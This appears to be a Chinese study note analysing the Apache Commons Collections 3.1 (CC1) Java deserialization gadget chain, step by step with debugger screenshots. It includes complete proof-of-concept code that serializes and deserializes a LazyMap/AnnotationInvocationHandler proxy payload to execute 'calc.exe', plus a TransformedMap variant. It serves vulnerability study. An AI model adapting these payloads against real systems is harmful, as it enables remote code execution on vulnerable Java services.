Map数据结构:
Map是一种把键对象和值对象映射的集合,每一个元素包含一对键对象和值对象。

利用链分析

测试环境:

  • jdk1.7(>8u71已修复不再可用
  • Commons Collections 3.1 ```java ObjectInputStream.readObject()
    1. AnnotationInvocationHandler.readObject()
    2. Map(Proxy).entrySet()
    3. AnnotationInvocationHandler.invoke()
  1. LazyMap.get()
  2. ChainedTransformer.transform()
  3. ConstantTransformer.transform()
  4. InvokerTransformer.transform()
  5. Method.invoke()
  6. Class.getMethod()
  7. InvokerTransformer.transform()
  8. Method.invoke()
  9. Runtime.getRuntime()
  10. InvokerTransformer.transform()
  11. Method.invoke()
  12. Runtime.exec()
  1. 先对后半段进行分析,可见大部分类都调用了其transform方法,可见其继承同一个接口Transformer,其中包含了transform方法,通过实现此接口来达到类型转换的目的,返回一个transormed object--<br />![image.png](https://cdn.nlark.com/yuque/0/2021/png/2870855/1622168160936-4613b5bb-dcbf-48f4-9db0-efb5d54449f4.png#align=left&display=inline&height=156&margin=%5Bobject%20Object%5D&name=image.png&originHeight=312&originWidth=1409&size=52293&status=done&style=none&width=704.5)<br />CC链用到实现此接口的类有如下三个:
  2. - InvokerTransformer:通过使用其反射来调用某方法
  3. ![image.png](https://cdn.nlark.com/yuque/0/2021/png/2870855/1622168321607-40c398da-2525-428c-b688-b6e02b5a1db0.png#align=left&display=inline&height=139&margin=%5Bobject%20Object%5D&name=image.png&originHeight=278&originWidth=1392&size=44491&status=done&style=none&width=696)
  4. - ConstantTransformer:其方法将输入原封不动的返回
  5. ![image.png](https://cdn.nlark.com/yuque/0/2021/png/2870855/1622168977005-856d0815-9dd4-47b1-8c8a-fffb54b2f991.png#align=left&display=inline&height=194&margin=%5Bobject%20Object%5D&name=image.png&originHeight=387&originWidth=1296&size=52304&status=done&style=none&width=648)
  6. - ChainedTransformer:其transform方法实现了对每个传入transform都调用其transform方法,并将结果作为下一次的输入传递进去
  7. ![image.png](https://cdn.nlark.com/yuque/0/2021/png/2870855/1622169180659-daabdf58-42f6-4c93-aaeb-b352faa1204d.png#align=left&display=inline&height=235&margin=%5Bobject%20Object%5D&name=image.png&originHeight=469&originWidth=1334&size=67675&status=done&style=none&width=667)<br />将此三个组合起来即可命令执行。
  8. <a name="rgwjK"></a>
  9. #### cc1:
  10. ```java
  11. package CC1;
  12. import org.apache.commons.collections.Transformer;
  13. import org.apache.commons.collections.functors.*;
  14. public class cc1 {
  15. public static void main(String[] args){
  16. ChainedTransformer chain = new ChainedTransformer(new Transformer[] {
  17. new ConstantTransformer(Runtime.class),
  18. new InvokerTransformer("getMethod", new Class[] {
  19. String.class, Class[].class }, new Object[] {
  20. "getRuntime", new Class[0] }), //这里通过InvokerTransformer来实现了一次反射,即通过反射来反射,先是调用getMethod方法获取了getRuntime这个Method对象,接着又通过Invoke获取getRuntime的执行结果。
  21. new InvokerTransformer("invoke", new Class[] {
  22. Object.class, Object[].class }, new Object[] {
  23. null, new Object[0] }),
  24. new InvokerTransformer("exec",
  25. new Class[] { String.class }, new Object[]{"calc.exe"})});
  26. chain.transform(123);
  27. }
  28. }

image.png
至此我们已经到 只需要调用transform就能达到rce,我们的目的是在调用readObject的时候就触发rce,也就是说我们现在需要找到一个点调用了transform方法(如果能找到在readObject后就调用那是最好的),如果找不到在readObject里调用transform方法,那么就需要找到一条链,在readObject触发起点,接着一步步调用到了transform方法。

cc2:

LazyMap的get方法#
image.png
如果这里的this.factory可控,那么我们就可以通过LazyMap来延长我们的链,下一步就是找哪里调用了get方法了。
image.png
这里的factory并没有被transient以及static关键字修饰,所以是我们可控的,并且由于factory是在类初始化时定义的,所以我们可以通过创建LazyMap实例的方式来设置他的值。
image.png
但是这里的构造方法并不是public的,所以需要①通过反射的方式来获取到这个构造方法,再创建其实例、②或者利用decorate进行修饰其返回值则为LazyMap的构造方法
image.png

  1. package CC1;
  2. import org.apache.commons.collections.Transformer;
  3. import org.apache.commons.collections.functors.*;
  4. import org.apache.commons.collections.map.LazyMap;
  5. import java.lang.reflect.Constructor;
  6. import java.lang.reflect.InvocationTargetException;
  7. import java.util.HashMap;
  8. public class cc2 {
  9. public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, IllegalAccessException, InvocationTargetException, InstantiationException, NoSuchFieldException {
  10. ChainedTransformer chain = new ChainedTransformer(new Transformer[] {
  11. new ConstantTransformer(Runtime.class),
  12. new InvokerTransformer("getMethod", new Class[] {
  13. String.class, Class[].class }, new Object[] {
  14. "getRuntime", new Class[0] }),
  15. new InvokerTransformer("invoke", new Class[] {
  16. Object.class, Object[].class }, new Object[] {
  17. null, new Object[0] }),
  18. new InvokerTransformer("exec",
  19. new Class[] { String.class }, new Object[]{"calc.exe"})});
  20. //chain.transform("123"); 以下的操作都是为了自动调用本部操作
  21. HashMap innermap = new HashMap();
  22. Class clazz = Class.forName("org.apache.commons.collections.map.LazyMap");
  23. Constructor[] constructors = clazz.getDeclaredConstructors();
  24. Constructor constructor = constructors[0];
  25. constructor.setAccessible(true); //对LazyMap的protect构造方法进行调用、也可以使用decorate进行修饰调用
  26. LazyMap map = (LazyMap)constructor.newInstance(innermap,chain); //将chain对象传递给factory变量
  27. map.get(123);
  28. }
  29. }

image.png
这里就可以看到与上方接轨了 实现了间接调用chain.transform方法
image.png

cc3:

接着我们需要找到某个地方调用了get方法,并且传递了任意值。通过学习了上边动态代理的知识,我们可以开始分析CC1的前半段链了。

  1. ObjectInputStream.readObject()
  2. AnnotationInvocationHandler.readObject()
  3. Map(Proxy).entrySet()
  4. AnnotationInvocationHandler.invoke()
  5. LazyMap.get()

image.png
这里的readObject又调用了var4.memberValues的entrySet方法。如果这里的memberValues是个代理类,那么就会调用memberValues对应handler的invoke方法,cc1中将handler设置为AnnotationInvocationHandler(其实现了InvocationHandler,所以可以被设置为代理类的handler)。

  1. public Object invoke(Object var1, Method var2, Object[] var3) {
  2. String var4 = var2.getName();
  3. Class[] var5 = var2.getParameterTypes();
  4. .......
  5. default:
  6. Object var6 = this.memberValues.get(var4);
  7. .....
  8. }

在AnnotatioInvocationHandler的invoke方法里对this.memberValues调用了get方法,如果此时this.memberValues为我们的map,则就会触发LazyMap#get方法,致使完成rce。

  1. package CC1;
  2. import org.apache.commons.collections.Transformer;
  3. import org.apache.commons.collections.functors.*;
  4. import org.apache.commons.collections.map.LazyMap;
  5. import org.apache.commons.collections.map.PredicatedMap;
  6. import java.io.FileInputStream;
  7. import java.io.FileOutputStream;
  8. import java.io.ObjectInputStream;
  9. import java.io.ObjectOutputStream;
  10. import java.lang.reflect.*;
  11. import java.util.HashMap;
  12. import java.util.Map;
  13. public class cc3 {
  14. public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, IllegalAccessException, InvocationTargetException, InstantiationException, NoSuchFieldException {
  15. ChainedTransformer chain = new ChainedTransformer(new Transformer[] {
  16. new ConstantTransformer(Runtime.class),
  17. new InvokerTransformer("getMethod", new Class[] {
  18. String.class, Class[].class }, new Object[] {
  19. "getRuntime", new Class[0] }),
  20. new InvokerTransformer("invoke", new Class[] {
  21. Object.class, Object[].class }, new Object[] {
  22. null, new Object[0] }),
  23. new InvokerTransformer("exec",
  24. new Class[] { String.class }, new Object[]{"calc.exe"})});
  25. HashMap innermap = new HashMap();
  26. Class clazz = Class.forName("org.apache.commons.collections.map.LazyMap");
  27. Constructor[] constructors = clazz.getDeclaredConstructors();
  28. Constructor constructor = constructors[0];
  29. constructor.setAccessible(true);
  30. Map map = (Map)constructor.newInstance(innermap,chain);
  31. //map.get(123)
  32. Constructor handler_constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class,Map.class);
  33. handler_constructor.setAccessible(true);
  34. InvocationHandler map_handler = (InvocationHandler) handler_constructor.newInstance(Override.class,map); //创建第一个代理的handler
  35. Map proxy_map = (Map) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(),new Class[]{Map.class},map_handler); //创建proxy对象
  36. proxy_map.entrySet(); //这里可以调用proxy_map对象的任意一个不会被break的方法即可
  37. }
  38. }

这里首先对AnnotationInvocationHandler类的构造方法进行调用为了将map类型赋值给this.memberValues,便于后续调用map.get方法。
image.png
然后创建一个代理对象,在调用代理对象的任何方法时(视情况而定)都会触发其被代理类的invoke方法。然后就可以执行this.memberValues(map).get方法。

  1. public Object invoke(Object var1, Method var2, Object[] var3) {
  2. String var4 = var2.getName();
  3. Class[] var5 = var2.getParameterTypes();
  4. if (var4.equals("equals") && var5.length == 1 && var5[0] == Object.class) {
  5. return this.equalsImpl(var3[0]);
  6. } else if (var5.length != 0) {
  7. throw new AssertionError("Too many parameters for an annotation method");
  8. } else {
  9. byte var7 = -1;
  10. switch(var4.hashCode()) {
  11. case -1776922004:
  12. if (var4.equals("toString")) {
  13. var7 = 0;
  14. }
  15. break;
  16. case 147696667:
  17. if (var4.equals("hashCode")) {
  18. var7 = 1;
  19. }
  20. break;
  21. case 1444986633:
  22. if (var4.equals("annotationType")) {
  23. var7 = 2;
  24. }
  25. }
  26. switch(var7) {
  27. case 0:
  28. return this.toStringImpl();
  29. case 1:
  30. return this.hashCodeImpl();
  31. case 2:
  32. return this.type;
  33. default:
  34. Object var6 = this.memberValues.get(var4);

如上图所示:除调用hashcode与tostring方法外都可以触发其invoke方法。
image.png

cc4:

当然除上述方法外:还可以通过再创建一个代理对象来进行触发invoke方法(即使用两个动态代理)。设置两个handler,第一个handler为了触发lazymap#get,而第二个实际上是为了触发代理类所设置handler的invoke方法。
完整的poc如下:

  1. package CC1;
  2. import org.apache.commons.collections.Transformer;
  3. import org.apache.commons.collections.functors.*;
  4. import org.apache.commons.collections.map.LazyMap;
  5. import org.apache.commons.collections.map.PredicatedMap;
  6. import java.io.FileInputStream;
  7. import java.io.FileOutputStream;
  8. import java.io.ObjectInputStream;
  9. import java.io.ObjectOutputStream;
  10. import java.lang.reflect.*;
  11. import java.util.HashMap;
  12. import java.util.Map;
  13. public class cc3 {
  14. public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, IllegalAccessException, InvocationTargetException, InstantiationException, NoSuchFieldException {
  15. ChainedTransformer chain = new ChainedTransformer(new Transformer[] {
  16. new ConstantTransformer(Runtime.class),
  17. new InvokerTransformer("getMethod", new Class[] {
  18. String.class, Class[].class }, new Object[] {
  19. "getRuntime", new Class[0] }),
  20. new InvokerTransformer("invoke", new Class[] {
  21. Object.class, Object[].class }, new Object[] {
  22. null, new Object[0] }),
  23. new InvokerTransformer("exec",
  24. new Class[] { String.class }, new Object[]{"calc.exe"})});
  25. //chain.transform(123);
  26. HashMap innermap = new HashMap();
  27. Class clazz = Class.forName("org.apache.commons.collections.map.LazyMap");
  28. Constructor[] constructors = clazz.getDeclaredConstructors();
  29. Constructor constructor = constructors[0];
  30. constructor.setAccessible(true);
  31. Map map = (Map)constructor.newInstance(innermap,chain);
  32. //map.get(123)
  33. Constructor handler_constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class,Map.class);
  34. handler_constructor.setAccessible(true);
  35. InvocationHandler map_handler = (InvocationHandler) handler_constructor.newInstance(Override.class,map); //创建第一个代理的handler
  36. Map proxy_map = (Map) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(),new Class[]{Map.class},map_handler); //创建proxy对象
  37. //proxy_map.clear();
  38. Constructor AnnotationInvocationHandler_Constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class,Map.class);
  39. AnnotationInvocationHandler_Constructor.setAccessible(true);
  40. InvocationHandler handler = (InvocationHandler)AnnotationInvocationHandler_Constructor.newInstance(Override.class,proxy_map);
  41. try{
  42. ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./cc1"));
  43. outputStream.writeObject(handler);
  44. outputStream.close();
  45. ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./cc1"));
  46. inputStream.readObject();
  47. }catch(Exception e){
  48. e.printStackTrace();
  49. }
  50. }
  51. }

questions

  • 1.为什么这里要用反射的方式来创建AnnotationInvocationHandler的实例?

因为AnnotationInvocationHandler并不是public类,所以无法直接通过new的方式来创建其实例。image.png

  • 2.为什么创建其实例时传入的第一个参数是Override.class?

因为在创建实例的时候对传入的第一个参数调用了isAnnotation方法来判断其是否为注解类:
image.png

  1. public boolean isAnnotation() {
  2. return (getModifiers() & ANNOTATION) != 0;
  3. }

而Override.class正是java自带的一个注解类。

为什么再jdk版本8u71后不可用?

Java 8u71以后,这个利⽤链不能再利⽤了,主要原因sun.reflect.annotation.AnnotationInvocationHandler#readObject 的逻辑变化了。


简化代码:

  1. package com.serializable;
  2. import org.apache.commons.collections.Transformer;
  3. import org.apache.commons.collections.functors.ChainedTransformer;
  4. import org.apache.commons.collections.functors.ConstantTransformer;
  5. import org.apache.commons.collections.functors.InvokerTransformer;
  6. import org.apache.commons.collections.map.TransformedMap;
  7. import java.util.HashMap;
  8. import java.util.Map;
  9. public class CommonCollections1 {
  10. public static void main(String[] args) throws Exception {
  11. Transformer[] transformers = new Transformer[]{ //实例化接口,定义了一个transform方法
  12. new ConstantTransformer(Runtime.getRuntime()), //将实例化的Runtime类作为参数传给 继承Transformer接口的ConstantTransformer类
  13. new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"}),//也是一个实现Transformer接口的类,将传入的参数进行赋值,再传入实现的接口方法中
  14. };
  15. Transformer transformerChain = new ChainedTransformer(transformers); //也继承了Transformer接口的类,将以上实例化的对象(包含了我们要调用的方法函数参命令)作为参数传入传给chainedTransfrmer方法
  16. Map innerMap = new HashMap(); //实例化hashMap函数
  17. Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain); //此函数继承了Serializable类,对innerMap的值是否为NUll进行了一个判断,对map数据结构进行一个修饰
  18. outerMap.put("test", "xxxx"); //
  19. }
  20. }

类分析:大致如上代码所示(与ysoserial里面利用的lazyMap利用链 不同

TransformedMap类: TransformedMap用于对Map类的包装修饰。被修饰过的Map在添加新的元素时,将可 以执⾏⼀个“回调”。如上所述,传出的outerMap对象即是修饰后的Map。keyTransformer是处理新元素的Key的回调,valueTransformer是处理新元素的value的回调。我们这⾥所说的”回调“,并不是传统意义上的⼀个回调函数,⽽是⼀个实现了Transformer接⼝的类(可通过反射执行代码的类)。

断点调试进入:
image.png

  • 进入ConstantTransformer函数,将实例化的Runtime对象赋值给iConstant作为transformers对象数组第一个值

image.png

  • 进入InvokeTransformer函数,将参数传入该函数赋值给iMethodName,iParamtypes,iArgs参数作为transformers对象数组第二个值

image.png

  • 进入ChainedTransformer函数,将transformers对象数组赋值给iTransformers作为tansformerChain对象。

image.png

  • 实例化hashMap对象,修饰Map结构对象,将传入TransformedMap.decorate再次作为参数赋给实例化的TransformedMap对象。。。

image.png

  • 将传入的参数进行赋值,便于后续做判断,ChainedTransformer的iTransformers对象赋值给valueTransformer参数。

image.png

  • 最后进入最关键的一步,调用TransformedMap类的put函数即可命令执行。

image.png
image.png
image.png
image.png

  • 即可执行成功。接下来就来探索一下反序列化利用链如何触发。